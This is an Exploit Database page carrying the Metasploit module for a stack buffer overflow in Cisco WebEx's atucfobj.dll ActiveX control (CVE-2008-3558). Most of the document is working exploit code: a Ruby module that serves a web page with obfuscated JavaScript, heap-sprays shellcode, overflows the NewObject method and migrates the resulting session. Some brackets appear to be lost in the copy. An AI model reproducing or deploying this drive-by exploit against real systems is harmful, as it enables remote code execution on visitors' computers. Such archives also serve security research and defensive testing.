Cisco WebEx Meeting Manager UCF – ‘atucfobj.dll’ ActiveX NewObject Method Buffer Overflow (Metasploit)

Exploit Database
100 阅读

作者： Metasploit

日期： 2010-09-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16604/

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# $Id: webex_ucf_newobject.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow',

'Description'=> %q{

This module exploits a stack-based buffer overflow in WebEx's WebexUCFObject

ActiveX Control. If an long string is passed to the 'NewObject' method, a stack-

based buffer overflow will occur when copying attacker-supplied data using the

sprintf function.

It is noteworthy that this vulnerability was discovered and reported by multiple

independent researchers. To quote iDefense's advisory, "Before this issue was

publicly reported, at least three independent security researchers had knowledge

of this issue; thus, it is reasonable to believe that even more people were aware

of this issue before disclosure."

NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload

into memory unmodified.

'License'=> MSF_LICENSE,

'Author' =>

[

'Tobias Klein', # initial discoverer

'Elazar Broad', # initial discoverer

'Guido Landi',# milw0rm exploit

'jduck' # metasploit version

'Version'=> '$Revision: 10394 $',

'References' =>

[

[ 'CVE', '2008-3558' ],

[ 'OSVDB', '47344' ],

[ 'BID', '30578' ],

[ 'URL', 'http://www.exploit-db.com/exploits/6220' ],

[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=849' ],

[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-009.txt' ],

[ 'URL', 'http://tk-blog.blogspot.com/2008/09/vulnerability-rediscovery-xss-and-webex.html' ],

[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2008-08/0084.html' ],

[ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a00809e2006.shtml' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x00",

'DisableNops' => true

'Platform' => 'win',

'Targets'=>

[

# Tested with atucfobj.dll v20.2008.2601.4928

[ 'Windows Universal', { 'Ret' => 0x0c0c0c0c } ],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Aug 06 2008'))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# ActiveX parameters

progid = "WebexUCFObject.WebexUCFObject"

clsid = "32E26FD9-F435-4A20-A561-35D4B987CFDC"

# Set parameters

fnname = rand_text_alpha(8+rand(8))

offset = 232

# Build the exploit buffer

sploit = rand_text_alphanumeric(offset)

sploit << [target.ret - 0x20000].pack('V')

# Encode variables

sploit = Rex::Text.to_hex(sploit, '%')

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Prepare the heap spray parameters

spray_num = "0x%x" % target.ret

# Generate the final javascript

js = %Q|

function #{fnname}()

{

try {

var obj = new ActiveXObject("#{progid}");

var my_unescape = unescape;

var shellcode = '#{shellcode}';

#{js_heap_spray}

sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);

var sploit = my_unescape("#{sploit}");

obj.NewObject(sploit);

} catch( e ) { window.location = 'about:blank' ; }

}

# Obfuscate the javascript

opts = {

'Strings' => true,

'Symbols' => {

'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit }

}

js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)

js.obfuscate()

# Build the final HTML

content = %Q|<html>

<head>

#{js}

</script>

</head>

Please wait...

</body>

</html>

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end